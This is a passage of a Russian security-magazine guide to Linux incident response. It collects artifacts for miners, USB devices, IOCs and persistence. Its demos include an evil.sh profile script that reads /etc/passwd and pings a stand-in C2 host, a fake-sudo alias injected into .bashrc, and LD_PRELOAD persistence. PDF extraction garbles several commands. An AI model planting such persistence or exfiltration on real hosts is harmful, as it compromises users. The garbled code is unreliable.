* * 2>/dev/null >> int_files_info 

В резуль тате ана лиза мы обна ружи ли файл, содер жащий логи ска чива ния
это го тор рента:

/home/user/.local/share/qBittorrent/logs/qbittorrent.log 

Вре мя работы тор рент-кли ента в логе точ но сов падало с обра щени ем к Tor.
Запус каем ска чива ние это го тор рента на стен де, и фай рвол немед ленно
ловит айпиш ник ноды Tor. Таким обра зом вос ста нови лась пол ная кар тинка
событий. Кто-то ска жет, что прос то повез ло. Спо рить не будем. В самых
запущен ных слу чаях мож но поис кать в домаш нем катало ге все фай лы, изме- 
нен ные за опре делен ный вре мен ной интервал:

 f     
 –ls 

find ~/ -type -newermt "2023-02-24 00:00:11" \! -newermt
"2023-02-24 00:53:00"

ÊÅÉÑ 3. ÌÀÉÍÅÐ

Поль зователь жалу ется на мед ленную работу компь юте ра. Идем про верять.
В пер вую оче редь под робно опре делим, что в сис теме про исхо дит пря мо
сей час. Вывод отпра вим в файл.

# Выводим список залогиненных юзеров
w 
# Список запущенных приложений
lsof -w /dev/null 
# Список всех запущенных процессов, лучше класть в отдельный файлик
ps -l
# Список всех запущенных процессов ver. 2
ps aux 
# Гламурный вывод дерева процессов
pstree -Aup
# Вывод информации о текущих альтернативных задачах в screen
screen -ls 2>/dev/null 
# Вывод выполняющихся фоновых задач. Можешь проверить, открыв 
приложение из терминала, затем нажми в терминале ctrl + z. Командой 
fg ты возобновишься к последней такой отложенной задаче, а fg 1 — к 
первой. Не злоупотребляй
jobs
# Текстовый вывод аналога виндового диспетчера задач
top  -bcn1 -w512

Сом нитель ный про цесс иног да мож но най ти, прос то гля нув вывод ps (при мер
из ).бло га Tenable

 

 

10601 pts/18   Sl+   14:25  |   |   _ /usr/lib/jvm/java-8-openjdk- … 
10716 pts/18   S+     0:20  |   |       _ 
/tmp/konL6821804046402511623.exe 
29565 pts/18   S+     0:00  |   |       |   _ /bin/sh -c /bin/sh 
29566 pts/18   S+     0:00  |   |       |       _ /bin/sh 
10718 pts/18   S+     0:00  |   |       _ 
/tmp/konL6369286348563749691.exe

В дан ном слу чае все как раз нес ложно. Дос таточ но вбить коман ду ,

опре делить PID про цес са, который боль ше всех пожира ет ресур сы (нап- 
ример, гру зит про цес сор на 100%), и убить его коман дой 

. Так же прис мотрись к про цес сам, стар товав шим из пап ки 

или дру гой ано маль ной дирек тории.

htop

kill -9 <твой 
PID> /tmp/

Ïðàêòè÷åñêèé ðàçáîð
Ис поль зуя коман ду , мы получи ли сле дующий вывод.top -bcn1 -w512

Вы вод информа ции о про цес сах

Не кий  пот ребля ет 100% CPU. Най дем обжо ру. Зная PID (62147),
получим путь к исполня емо му фай лу, потом можем сдам пить его, уда лить
или прос то гор дить ся собой:

firefoxier

 sudo ls -la /proc/62147/exe 

Вы вод информа ции по подоз ритель ному PID

# Убиваем процесс
 sudo kill -9 62147 

# Удаляем исполняемый файл
sudo rm /usr/bin/firefoxier 

Ус пех! В прос тей шем слу чае еди нора зово го слу чай ного запус ка это поз волит
хотя бы нор маль но работать с хос том даль ше. Здесь мы не рас смат рива ем
самопо рож дающий ся вре донос и пути его про ник новения и зак репле ния
в сис теме.

Ес ли тебе попал ся серь езный про тив ник, то пос ле уста нов ки рут кита про- 
цес сы не будут отоб ражать ся в спис ке. Одна ко в дан ном слу чае про цесс май- 
нера запус тился без зак репле ния, а поль зовате лю дос тупно объ ясни ли,
почему не сто ит запус кать что попало.

Для переда чи в SOC соберем базовый три аж, добавив полез ную коман ду
в наш скрипт. Три аж, если по-прос тому, — это ког да ты при шел на мес то
кибер прес тупле ния и тебе нуж но быс тро обна ружить и соб рать клю чевую
информа цию о хос те. Нап ример, если ты заранее зна ешь, что прес тупник
исполь зовал бра узер Firefox, то в пер вую оче редь получи арте фак ты бра узе- 
ра, потом логи и осталь ное — в зависи мос ти от зоны инте ресов.

  tar -zc -f ./artifacts/VAR_LOG1.tar.gz /var/log/ 2>/dev/null # 
Запаковываем все логи в архив

Де таль но ана лизи ровать и раз бирать логи мы тут не будем, это отдель ная
тема. Нап ример, в логах Apache сто ит гре пать все стро ки  кли- 

ентов, которые под клю чались к тво ему хос ту.

User-Agent

Во обще, в любой непонят ной ситу ации гре пай. Есть ошиб ки — гре пай
 или . Зна ешь проб лемную служ бу — гре пай по ее наз ванию

или час ти. Показа лось, что есть под клю чения со сто рон них IP-адре сов?
Смот ри кейс 2 и гре пай. Пом ни, grep — твой ключ к успе ху!

error fail

Продолжение статьи →

https://www.cbr.ru/Crosscut/LawActs/File/449
https://www.tenable.com/blog/hunting-linux-malware-with-yara
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ÊÅÉÑ 4. ÑÚÅÌÍÛÅ ÍÎÑÈÒÅËÈ

Поль зовате ли обо жают совать вся кое барах ло в пор ты рабоче го компь юте ра.
Нап ример, флеш ки с филь мами, а в запущен ных слу чаях — Wi-Fi-адап теры.
Поэто му есть смысл искать сле ды этих жут ких наруше ний. Вот как пос мотреть
спи сок железа (отпра вим в темати чес кий лог ):dev_info

# Вывод инфо о PCI-шине
lspci 
# Вывод инфо о подключенных USB-устройствах
lsusb 
# Вывод инфо о блочных устройствах
lsblk 
# cat /sys/bus/pci/devices/*/*
# Информация о текущих и ранее установленных Bluetooth-устройствах

 ls -laR /var/lib/bluetooth/ 2>/dev/null 
# Список Bluetooth-устройств
bt-device -l 2>/dev/null 
# Список Bluetooth-устройств mk. III
hcitool dev 2>/dev/null 
# Ищем другие сообщения, связанные c железом, — очевидно, с sudo

  sudo journalctl| grep -i 'PCI|ACPI|Plug' 2>/dev/null 
# Пытаемся выявить подключение/отключение сетевого кабеля (адаптера) 
в логах

 sudo journalctl | grep "NIC Link is" 2>/dev/null 
# Открытие/закрытие крышки ноутбука

 sudo journalctl | grep "Lid"  2>/dev/null 

Ïðèìåð usbrip
Ин терес нее все го, конеч но, пос мотреть, что там с флеш ками. Для Linux есть
отличная ути лита  (написан ная . — При меч. ред.), под- 
робную инс трук цию к ней можешь гля нуть на . Уста нав лива ем
и запус каем:

usbrip на шим авто ром
Kali.tools

usbrip events history

Вы бира ем вывод в тер минал (жмем Enter). Выводит ся вся дос тупная
информа ция по каж дому носите лю на осно ве логов, вклю чая дату пос ледне го
отсо еди нения устрой ства и серий ник (у нас usbrip почему-то вывел далеко
не все серий ники, хотя в логах они про писы вались). Для прос мотра в виде
таб лицы пиши

 usbrip events history -et

Вы вод информа ции по USB-носите лям из ути литы usbrip

Ñàìîãðåï
Что бы ничего не уста нав ливать и смот реть логи самос тоятель но, можешь
вос поль зовать ся вот такой коман дой (без grep жиз ни нет, пом нишь?):

  usb sudo journalctl -o short-iso-precise | grep -iw

Вы вод тебя впе чат лит сво им выда ющим ся объ емом. Давай опти мизи руем
зат раты челове ко-часов и нап равим вывод в фай лы:

# Информация о USB-шине и подключенных устройствах
lsusb 

 cat /var/log/messages | grep -i usb 2>/dev/null 
# Подключенные в текущей сессии USB-устройства — у Linux аптайм 
обычно большой, может, прокатит

 sudo dmesg | grep -i usb 2>/dev/null 
# Usbrip делает то же самое, но потом обрабатывает данные и делает 
красиво

  usb sudo journalctl | grep -i

Для более деталь ной информа ции будем искать серий ники кон крет ных
носите лей и выводить строч ки рядом с ними:

 |     cat /var/log/syslog* grep -i usb | grep -A1 -B2 -i SerialNumber: >>
usb_list_file 

 |     cat /var/log/messages* grep -i usb | grep -A1 -B2 -i SerialNumber: 
2>/dev/null >> usb_list_file 
# Как ты понимаешь, устройства в текущей сессии имеет смысл 
собирать, только если система давно не перезагружалась

    sudo dmesg | grep -i usb | grep -A1 -B2 -i SerialNumber: >> usb_list_
file 

    sudo journalctl | grep -i usb | grep -A1 -B2 -i SerialNumber: >> usb_
list_file 

Бла года ря выводу пос ледней коман ды мы обна ружи ли под клю чение сто рон- 
него устрой ства — флеш ки. Пос коль ку такой серий ник не чис лился в спис ках
отде ла безопас ности, поль зователь получил по лик безу вне оче реди.

Вы вод информа ции о USB-носите лях из сис темно го жур нала

Продолжение статьи →

https://github.com/snovvcrash/usbrip
https://xakep.ru/author/snovvcrash/
https://kali.tools/?p=4873
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ÊÅÉÑ 5. ÇÀÊÐÅÏËÅÍÍÀß ÌÀËÂÀÐÜ È IOC

Это уже более серь езный кейс, для нас тоящих геро ев Threat Hunting. Допус- 
тим, ты хочешь про верить, нет ли на хос те мар керов ком про мета ций, то есть
IOC (indicators of compromise). В демонс тра цион ных целях давай поищем
фай лы, наличие которых ука зыва ет на воз можное зараже ние « »
или .

Ши шигой
RotaJakiro

# Первые 18 файлов указывают на возможную активность Shishiga
# Последние четыре — возможные локации RotaJakiro
FILES="/etc/rc2.d/S04syslogd
/etc/rc3.d/S04syslogd
/etc/rc4.d/S04syslogd
/etc/rc5.d/S04syslogd
/etc/init.d/syslogd
/bin/syslogd
/etc/cron.hourly/syslogd
/tmp/drop
/tmp/srv
$HOME/.local/ssh.txt
$HOME/.local/telnet.txt
$HOME/.local/nodes.cfg
$HOME/.local/check
$HOME/.local/script.bt
$HOME/.local/update.bt
$HOME/.local/server.bt
$HOME/.local/syslog
$HOME/.local/syslog.pid
/bin/systemd/systemd-daemon
/usr/lib/systemd/systemd-daemon
$HOME/.dbus/sessions/session-dbus
$HOME/.gvfsd/.profile/gvfsd-helper"

0counter= ;
f  for in $FILES

do
       if [ -e $f ]

   then
     # Если нашли файл из запретного списка, алертим и увеличиваем 
счетчик

 +1       $counter=$counter ;
         echo "Shishiga or RotaJakiro Marker-file found: " $f

   fi
done
# Если счетчик не 0, то тревожно

    0 if [ $counter -gt ]
then
 # Выводим алерт, что нашли нехорошие IOC
    echo "Shishiga or RotaJakiro IOC Markers found!!"
fi

Но на самом деле такой самопал и спи сок айоков будет тяжело отсле живать
и пра вить, поэто му лег че юзать готовые тул зы типа YARA-ска неров или «

», который тоже написан на Bash и тре бует на вход толь ко спи сок фай лов
с айока ми.

Фен- 
рира

Все это акту аль но и для поис ка аген тов C2-сер веров. Таких аген тов
для Linux есть уже . К сожале нию, часть их детек тиру ется
толь ко при ана лизе тра фика (по стро кам  или отпе чат кам

JA3/JARM), и без спе циаль ных тулз или отдель ных СЗИ нам тут не обой тись.
Для локаль ного ана лиза в таком слу чае пот ребу ется уста нов ка 

 и соз дание дам па тра фика (tcpdump).

не один десяток
User-Agent

от дель ных ути- 
лит

Àíàëèç ìåñò äëÿ çàêðåïëåíèÿ
Вмес то это го давай поищем ано малии в типич ных мес тах зак репле ния
и авто запус ка прог рамм. Начина ющие хакеры так и гуг лят: how autostart
program linux. Поч ти все коман ды из спис ка ниже рекомен дуем запус кать
через sudo.

# Аналог планировщика на основе системных таймеров
systemctl list-timers 
# Более подробный вывод с примечаниями
systemctl status  *timer 
# Текущий статус служб и сервисов. Аналог в некоторых дистрибутивах: 
chkconfig --list или просто вывод всех доступных сервисов — 
systemctl -all
sudo systemctl status –-all 
# Закрепление в виде сервиса. Делаешь скрипт сервисом — вот и 
закрепился
systemctl list-unit-files --type=service 
# Легаси-вариант, статус работы всех служб
sudo service --status-all 2>/dev/null 
# Вывод конфигураций всех сервисов
cat /etc/systemd/system/*.service 
# Список запускаемых сервисов, например ssh, networking, anacron

 ls -la /etc/init  2>/dev/null 
# Сценарии запуска и остановки демонов в ОС — можно поискать в 
конфигах специфические артефакты

 ls -la /etc/init.d  2>/dev/null 

При подоз рении, что вре донос все еще работа ет:

# Следующая команда выводит огромный список всех открытых файлов в 
системе с указанием процессов, перенаправим в отдельный файл. 
Полезно, если вредонос активничает на компе
lsof >> lsof_file 
# Вывод активных модулей, которые пытались загрузиться в память
systemctl list-units 
# Все модули с указанием текущего состояния файлов модулей; можно 
отдельно посмотреть модули ядра: cat /etc/modules.conf и cat /etc/
modprobe.d/*
systemctl list-unit-files 

Ýìóëÿöèÿ C2 ÷åðåç cron
Пла ниров щик задач cron — доволь но палев ное мес то. Для эму ляции ано- 
маль ной активнос ти соз дадим задачу на запуск пин га нашего C&C-сер вера
(возь мем прос той — ). Задача будет запус кать ся пос ле
ребута раз в 100 с.

DNS canary token

До бав ление задачи в cron

Пос ле перезаг рузки получа ем алерт, то есть механизм рабочий. Давай сооб- 
разим, какие коман ды понадо бят ся для про вер ки схо жих с cron мест залега- 
ния мал вари.

Ка нарей ка получи ла отстук

До бав ляем коман ды в скрипт:

# Вывод запланированных задач текущего юзера
crontab -l
# Вывод запланированных задач для всех юзеров

user       sudo for in $(ls /home/); do echo $user; crontab -u $user -l;
done
# Планировщик задач. Автозагрузка — неплохое место для закрепления 
вредоноса в системе

 ls -la /etc/cron*
# В том числе файлы cron.daily|hourly|monthly|weekly и список 
пользователей

/cat /etc/cron* *
# Вывод запланированных задач
cat /etc/crontab 
# Лог планировщика
cat /var/log/cron.log*
# Чтение сообщений об ошибках от планировщика заданий cron
sudo cat /var/mail/root 2>/dev/null 

Èçûñêàííûå ëîêàöèè
Не кро ном еди ным, мож но пос мотреть задачи в бэк гра унде и сооб щения
о выпол нении задач.

# Вывод jobs
cat  /var/spool/at/*
# Файлы deny|allow со списками юзеров, которым разрешено в cron или 
jobs
cat /etc/at.*
# Вывод задач Anacron
cat /var/spool/anacron/cron.*
# Вывод задач в бэкграунде

 ls -la /var/spool/cron/atjobs 2>/dev/null 
 cat /var/spool/cron/** # и их конфигов

usa  for in $users
do
   # Проверяем сообщения
   cat /var/mail/$usa 2>/dev/null 
done

Поль зователь ские скрип ты в авто запус ке:

# /etc/rc.local — legacy-скрипт, который выполняется перед логоном
/cat /etc/rc* *

cat /etc/rc.d/*

Су ровые при виле гиро ван ные вре доно сы не стес няют ся про писать ся 
. Мож но прос мотреть заг рузчик на пред мет стран ных конс трук ций,

в пер вую оче редь нас инте ресу ют прог раммы, которые запус кают ся пос ле
окон чания заг рузки ядра (конс трук ции вида ). Для изу чения под- 

робнос тей заг рузим спи сок всех раз делов и их иден тифика торов (UUID)
из fstab.

че рез
GRUB

init=...

Смот рим нас трой ки GRUB. В некото рых дис три бути вах путь :/boot/grub2

sudo cat /boot/grub/grub.cfg 2>/dev/null 

Файл  содер жит информа цию о фай ловых сис темах и устрой ствах хра- 

нения, могут попасть ся и спис ки шиф рован ных томов, а иног да кре ды
или пути к ним.

fstab

cat /etc/fstab 2>/dev/null 

Ëþáèòåëÿì ãðàôèêè
Рас смот рим авто заг рузку гра фичес ких при ложе ний. При ее нас трой ке ты
можешь добавить триг геры на вход и выход поль зовате лей, перезаг рузку
сис темы. Нап ример, что бы при вхо де сра зу откры вал ся бра узер и мес сен- 
джер. В нашем «злом» демо будем запус кать бра узер и одновре мен но откры- 
вать порт для ком муника ции с С2-сер вером мал вари.

Из менение парамет ров запус ка прог раммы

Сох раним и про верим. Пос ле логона запус тился бра узер и открыл ся порт.

Про вер ка выпол нения пос ле изме нения парамет ров запус ка

В тек сто вые кон фиги таких авто заг рузоч ных фай лов мож но про писать выпол- 
нение про изволь ной коман ды (параметр ).Exec

Чте ние кон фига запус ка прог раммы

Уч тем про вер ку таких фай лов в скрип те — мало ли, кто или что в них мог ло
про писать ся:

# Автозагрузка графических приложений (файлы с расширением .desktop)
 ls -la  /etc/xdg/autostart/*   2>/dev/null

# Для быстрого просмотра всех выполняемых команд через автозапуски
   |  cat  /etc/xdg/autostart/* grep "Exec="

# Автозагрузка в GNOME и KDE
cat  ~/.config/autostart/*.desktop  2>/dev/null 

При ана лизе выпол няемых команд обра щай вни мание на катало ги .

Извес тная хох ма: вре доно сы иног да пере име новы вают себя в wget или curl
для мас киров ки.

/usr/bin

Ôàéëû íàñòðîåê
В скры тых фай лах (в Linux начина ются с точ ки) в домаш них катало гах поль- 
зовате лей хра нят ся фай лы раз ных кон фигов, они могут содер жать полез ную
информа цию о пос ледней активнос ти, сох ранен ных сес сиях и исто рии
команд, наб ранных в тер минале.

По мимо это го, кон фиги шел ла — одно из излюблен ных мест для зак- 
репле ния вре доно сов в сис теме. Нап ример, могут соз давать ся под дель ные
обо лоч ки или при запус ке тер минала будут авто мати чес ки исполнять ся
коман ды.

Агент питонов ско го C2-сер вера  мож но поис кать и прос то в домаш них
катало гах в виде скры той пап ки:

Ares

 ls -la /home/$name/.ares. 

# Если мы рут, запишем все параметры из скрытых файлов его домашнего 
каталога, включая файл history с историей команд, различные конфиги 
шелла и другие ништяки
sudo cat /root/.* 2>/dev/null 
# То же самое — для каждого юзера, у которого есть домашний каталог

name  for in $(ls /home)
do
   # У юзеров обычно больше интересных скрытых файлов, включая 
параметры профиля, шелла
   /.cat /home/$name * 2>/dev/null 
done

      if [ -e "/etc/profile" ] ; then
   # Получаем настройки профиля Bash по умолчанию
   cat /etc/profile 2>/dev/null 
fi

# Сохраняем пути к исполняемым файлам шеллов — список доступных в 
системе шеллов
cat /etc/shells 2>/dev/null 

По пуляр но зак репле ние мал вари в связ ке с началом и завер шени ем сес сий
Bash. Сто ит поль зовате лю открыть тер минал — и вре донос запус кает ся.
Еще забав нее, ког да админ реша ет, что пос ле годово го аптай ма мож но
и перезаг рузить ся, и, ког да сес сия завер шится, сра баты вает вре донос ный
агент. В общем, здесь тебе и авто выпол нение команд, и заведе ние али асов
(вво дишь , а выпол няет ся  почему-то). Крат ко оста новим- 

ся на некото рых добыва емых таким обра зом инте рес ных фай лах из домаш них
катало гов:

sudo rm -rf /home/

 — забира ем фай лы дефол тных кон фигура ций шел ла, нап- 
ример . Впи сан ные в эти фай лы коман ды выпол няют ся
при каж дом запус ке интер пре тато ра;

• .*profile

.bash_profile

 — берем исто рию команд всех поль зовате лей в тер минале
(если она есть);

• .*history

 — парамет ры Bash при запус ке инте рак тивно го шел ла и выпол- 
нение команд;

• .bashrc

 — парамет ры запус ка тер минала, выпол нение команд;• .bash_login

 — парамет ры выхода из тер минала, выпол нение команд;• .bash_logout

 — исто рия команд в Bash;• .bash_history

 — парамет ры запус ка ZSH, если он уста нов лен;• .zshrc

 — исто рия команд ZSH;• .zsh_history

 — в некото рых дис три бути вах тут может быть исто рия команд.• .history

Тща тель но изу чи фай лы  (или rc-фай лы дру гих шел лов), соб ранные

выше. Пос коль ку в них про писа ны коман ды, выпол няемые при ини циали зации
сес сии тер минала, они будут авто мати чес ки запус кать ся. Вот тебе 

 такой инъ екции:

.bashrc

при мер
для реали зации

chmod u+x ~/.hidden/fakesudo 
  echo "alias sudo=~/.hidden/fakesudo" >> ~/.bashrc 

Еще рут кит может исполь зовать пере опре деле ния фун кций через
 (см. статью «

») и про писы вание в фай ле  строч ки такого типа:

LD_PRELOAD Соз даем userland-рут киты в Linux с помощью

LD_PRELOAD .bashrc

export LD_PRELOAD=/usr/lib/x86_64-linux-gnu/libgtk3-nocsd.so.0 

Ïðîôèëüíîå çàêðåïëåíèå
Чек нем выпол няемые при каж дом вхо де поль зовате ля в сис тему сце нарии.

# Получаем стандартные параметры пользовательских профилей, 
выполняемых при входе в систему
cat /etc/profile 2>/dev/null 

 echo "[Profile parameters: cat /etc/profile.d/*]"
# Дополнительные параметры запуска профиля, включая специфические 
приложения
cat /etc/profile.d/*

Мож но сде лать скрипт  при мер но такого содер- 
жания:

/etc/profile.d/evil.sh

#!/bin/bash
TEST=$(cat /etc/passwd)

ping PENTEST=$( -c 1 cundcserver.server)
 export $TEST
 export $PENTEST

В качес тве C&C-сер вера исполь зуем . Ког да юзер вхо дит в тер- 
минал, при лета ет алерт, а в текущих перемен ных появ ляют ся резуль таты
(мож но про верить коман дой ).

Canary token

set | grep TEST

За пол няемые перемен ные при вхо де в сис тему

По это му добавим в скрипт выг рузку перемен ных:

 set # Переменные шелла
 env # Глобальные переменные ОС

 printenv # Все текущие переменные среды
# Или strings /proc/<подозрительный PID>/environ — вывод переменных 
конкретного процесса
cat /proc/$$/environ 

Òðèàæ àðòåôàêòîâ
В завер шение работы с этим кей сом стри ажим фай лы, которые могут помочь
вирус ным ана лити кам при раз боре полетов. Такую выг рузку целесо образно
про водить толь ко в запущен ных слу чаях, плюс может пот ребовать ся внеш ний
хард. Про бежим ся по всем поль зователь ским пап кам и соберем ниш тяки.
Нач нем с рута:

# Создаем папку для сохранения пользовательских данных
 mkdir -p ./artifacts/share_root 

# Копируем их
 sudo cp -r /root/.local/share ./artifacts/share_root 2>/dev/null 

# Туда может попасть корзина со всем содержимым, поэтому лучше 
удалить находящиеся в ней файлы (если, конечно, ты не ищешь ее то, 
что в ней находится)

 rm -r ./artifacts/share_root/Trash/files 2>/dev/null 

# Создаем папку для конфигов рута
 mkdir -p ./artifacts/config_root 

# Параметры суперпользователя
 sudo cp -r /root/.config ./artifacts/config_root 2>/dev/null 

# Посмотреть сохраненные параметры пользовательских сессий
 sudo cp -R /root/.cache/sessions ./artifacts/config_root 2>/dev/null 

Для юзе ров собира ем в цик ле ров но то же самое, соз давая пап ки с арте фак- 
тами с хос та для каж дого юзе ра:

# Создаем папку для конфигураций юзеров
 mkdir -p ./artifacts/config_user 

usa  for in $users
do

    mkdir -p ./artifacts/share_user/$usa
    cp -r /home/$usa/.local/share ./artifacts/share_user/$usa 2>/dev/
null # Включая файл recently-used.xbel, в котором записана 
информация о запуске последних графических приложений, корзина с ее 
содержимым и файлы keyrings

 rm -r ./artifacts/share_user/$usa/Trash 2>/dev/null 
 rm -r ./artifacts/share_user/$usa/share/Trash/files 2>/dev/null 

 mkdir -p ./artifacts/cache_user/$usa
# Если стоит GNOME

 cp -r /home/$usa/.cache/tracker/ ./artifacts/cache_user/$usa 2>/dev/
null 

 cp -r /home/$usa/.local/share/tracker/data/ ./artifacts/cache_user/
$usa 2>/dev/null 
cat /home/$usa/.local/share/gnome-shell 2>/dev/null 

# Если стоит FreeDesktop, можно посмотреть корзину тут
cat /home/$usa/.local/share/Trash/info/*.trashinfo 

 ls -laR /home/$usa/.local/share/Trash/files/*

# Также собираем конфигурации приложений каждого юзера:
 mkdir -p ./artifacts/config_user/$usa

 cp -r /home/$usa/.config ./artifacts/config_user/$usa 2>/dev/null 
# Сохраненные пользовательские сессии

 cp -R ~/.cache/sessions ./artifacts/config_user/$usa 2>/dev/null 
done

В самом кон це не забыва ем заар хивиро вать все най ден ные арте фак ты:

echo Packing artifacts... 
   tar --remove-files -zc -f ./artifacts.tar.gz artifacts 2>/dev/null 

Го тово! На выходе ты получа ешь пап ку со все ми резуль татами, соб ранны ми
арте фак тами и кон фигами с ана лизи руемо го хос та. Тут спе циаль но не при- 
водят ся резуль таты работы каж дой коман ды, ведь если тебе инте рес но, то
сам пос мотришь.

Продолжение статьи →
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https://canarytokens.org/
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https://canarytokens.org/generate


ЧТО ПРЯЧЕТ ПИНГВИН
БОЛЬШОЙ ГИД 

ПО СБОРУ УЛИК 
В LINUX

АДМИН  НАЧАЛО СТАТЬИ←

ÊÅÉÑ 6. ÓÄÀËÅÍÍÎÅ ÏÐÎÍÈÊÍÎÂÅÍÈÅ

Есть подоз рение, что у нас в сис теме появил ся нез ваный уда лен ный гость.
Давай про верим, так ли это.

# Получим список пользователей
  | if  uname -a grep astra ;

# Это вариант запроса для Astra Linux. В других дистрибутивах getent 
в наших тестах выполнялся бесконечно
then

    getent passwd {1000..60000} >/dev/null 2>&1 
   # Сравним с выводом через awk
    
..   |  : 

eval getent passwd {$(awk '/^UID_MIN/ {print $2}' /etc/login.defs
) $(awk '/^UID_MAX/ {print $2}' /etc/login.defs)} cut -d -f1
fi
# Однако зачастую мы хотим просто посмотреть реальных пользователей, 
у которых есть каталоги, где можно порыться. Запишем в переменную 
для последующей эксплуатации
ls /home 
# Исключаем папку lost+found

 lostusers=`ls /home -I *`
 echo $users

При берем к рукам информа цию о вхо дах в сис тему, гля нем основные
парамет ры юзе ров, узна ем, кто из них может адми нить.

# Список последних загрузок ОС
sudo journalctl --list-boots  2>/dev/null 

  if [ -e /var/log/btmp ]
then
   # Неудачные попытки входа в систему
   lastb 2>/dev/null 
fi

  if [ -e /var/log/wtmp ]
then
   # Лог логинов и бутов
   last -f /var/log/wtmp 
fi
# Получаем список привилегированных sudo-юзеров
sudo cat /etc/sudoers 2>/dev/null 
cat /etc/passwd 2>/dev/null  # Почему бы и нет?
# Юзеры с пустым паролем

  sudo cat /etc/shadow | awk -F":" '($2 == "") {print $1}'  2>/dev/null 

Од на из так тик зак репле ния дос тупа — это сох ранение клю чей SSH. Выг рузка
арте фак тов и нас тро ек SSH помога ет выявить под клю чения к хос ту по сох- 
ранен ным откры тым клю чам или отпе чат кам дру гих хос тов. Иног да мож но
най ти при ват ные клю чи хос та, что потом поз волит изу чить исхо див шие
от него под клю чения. Это при годит ся при рас сле дова нии слож ных инци ден- 
тов с мас совыми под клю чени ями.

Смот реть сто ит фай лы  и , а так же сами

фай лы клю чей, генери руемые ути литой ssh-keygen или ско пиро ван ные внеш- 
ним хос том через ssh-copy-id. Спро сим у рута и у всех поль зовате лей, что
у них есть на этот счет:

authorized_keys known_hosts

cat /root/.ssh/* 2>/dev/null 
name  for in $(ls /home)

do
   cat /home/$name/.ssh/*  2>/dev/null 
done

Ес ли получен ные клю чи не при над лежат извес тным сис темам, это может быть
пло хой новостью. Так же про верим попыт ки уда лен ного вхо да через SSH:

 sudo journalctl _SYSTEMD_UNIT=sshd.service | grep "error" 2>/dev/null 

Вхо ды в сис тему по SSH можешь пос мотреть через lastlog, но полез но и пог- 
репать логи и кон фиги:

ssh sudo journalctl | grep # или sshd
# Ищем ошибки аутентификации

   sudo journalctl | grep ssh | grep -i -A2 -B2 fail 

Ошиб ки под клю чения по SSH из жур налов

Ôàéëîâûå àíîìàëèè
Не забудь пос мотреть кон фиг для общих папок: вдруг есть откры тая шара,
через которую и про изво дили пенет рацию?

cat /etc/samba/smb.conf # Конфиг
.log cat /var/log/samba/* # Логи

# Можно дополнительно проверить список текущих общих папок
cat /var/lib/samba/usershares/*
# Проверим и в списке монтируемых папок
mount -l

Да лее нуж но поис кать все фай лы, у которых нет вла дель ца или груп пы, —
это харак терно при уда лен ном про ник новении на хост и работе через
реверс-шел лы. Опять же для демонс тра ции ищем толь ко в домаш них катало- 
гах.

# При поиске вредоносов рекомендуется искать файлы без владельца
sudo find /root /home -nouser 2>/dev/null 
# Или без группы
sudo find /root /home -nogroup 2>/dev/null 

Спе цы  так же рекомен дуют сле дующие коман ды:CERT Societe Generale

# Конкурирующая команда для поиска файлов с SUID и GUID
 0      find / -uid \( -perm -4000 -o -perm 2000 \) -print

# Поиск файлов с нехарактерными названиями, например начинающихся на 
точку, две точки или пробел

   find / -name " *" -print # find / -name ". *" -print
  find / -name ".. *" -print

# Поиск больших файлов (больше 10 Мбайт)
find / -size +10M 

# Поиск процессов, инициированных удаленными файлами
lsof +L1 

Ëîãè è ñåòêà
Для поряд ка стри ажим логи, прос то выведем их в файл:

# Вывод всех системных логов. Может быть полезно погрепать 
специфичные службы и сервисы, ошибки и саксессы
sudo journalctl >> journalctlfile 

В нас трой ках сети мож но пос мотреть сос тояние фай рво ла. Нап ример,
наличие в исто рии команд, которы ми его отклю чали (
или ), может намек нуть, что в сис теме про исхо дило что-то

нехоро шее. Еще в исто рии мож но поис кать такие коман ды, свя зан ные
с отклю чени ем сер висов защиты:

ufw disable
iptables -F

service stop apparmor 
systemctl disable apparmor 
# Просмотр конфигов PAM

/cat /etc/pam* *

Ес ли есть подоз рение, что где-то спря талась мал варь, то на рабочем хос те
мож но через iptables бло киро вать обра щения с извес тны ми непоря доч ными
юзе раген тами, нап ример :Ares

# Блочим обращения от сервера… при условии, что мы сами не сервер и 
что это не SSL

 tcp  80  bm  
 

iptables -A INPUT -p --dport -m string --algo --string
"python-requests/" -j DROP 

ÂÛÂÎÄÛ

Мы намерен но не собира ем дамп памяти, пос коль ку он, конеч но, инте ресен
при работе с заражен ной вре доно сом-шиф роваль щиком машиной,
но момен таль но на мес те его про ана лизи ровать слож но.

Ес ли у тебя более серь езные подоз рения на вре донос (где твой анти- 
вирус?), то не забудь прос канить YARA-пра вила ми (под робнее о них —
в статье « ») или пос- 
мотреть в sigma rules. Для поис ка арте фак тов так же есть полез ный сбор ник
с под дер жкой нес коль ких ОС:  (часть арте- 
фак тов мы пред ста вили здесь).

Yara. Пишем пра вила, что бы искать мал варь и не толь ко

Digital Forensics Artifacts Repository

Со вер шенс тво вать эту под борку команд мож но бес конеч но, а на сле- 
дующем шаге по-хороше му сле дует реали зовать обра бот ку соб ранных дан- 
ных для их про вер ки на соот ветс твие compliance. Но это уже будет сов сем
дру гой уро вень!

Ес ли ты счи таешь, что мы что-то забыли или упус тили, не будь тер пилой
и раз неси нас в ком мента риях! Будем вмес те собирать полез ные при емы.
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https://reyammer.io/publications/2018_oakland_linuxmalware.pdf
https://research.splunk.com/stories/linux_persistence_techniques/
https://attack.mitre.org/matrices/enterprise/linux/
https://pberba.github.io/security/2021/11/22/linux-threat-hunting-for-persistence-sysmon-auditd-webshell/
https://xakep.ru/2021/03/03/persistence-cheatsheet/
https://habr.com/ru/articles/568298/
https://nostarch.com/practical-linux-forensics
https://github.com/SekoiaLab/Fastir_Collector_Linux
https://github.com/SekoiaLab/fastir_artifacts
https://niiconsulting.com/checkmate/2006/07/linres-an-open-source-linux-incident-response-tool/
https://github.com/AdetomiwaJ/CyberJourney/blob/master/Scripts/LIRES.sh
https://github.com/op7ic/unix_collector
https://github.com/ktneely/forensics
https://github.com/SmokeDog88/InfoSec_Ops
http://scripts4cf.sourceforge.net/tools.html
https://github.com/pwnagentsmith/IR_Tool
https://github.com/diogo-fernan/ir-rescue
https://github.com/rshipp/ir-triage-toolkit
https://github.com/tclahr/uac
https://github.com/nrrpinto/inquisitor
https://www.kroll.com/en/services/cyber-risk/incident-response-litigation-support/kroll-artifact-parser-extractor-kape
https://github.com/orlikoski/CyLR
https://github.com/cado-security/varc
https://github.com/Neo23x0/auditd
https://github.com/Sysinternals/SysmonForLinux
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Для мно гих раз работ чиков Python —
это язык, на котором были написа ны их
пер вые прог раммы: «Hello, world!» или каль- 
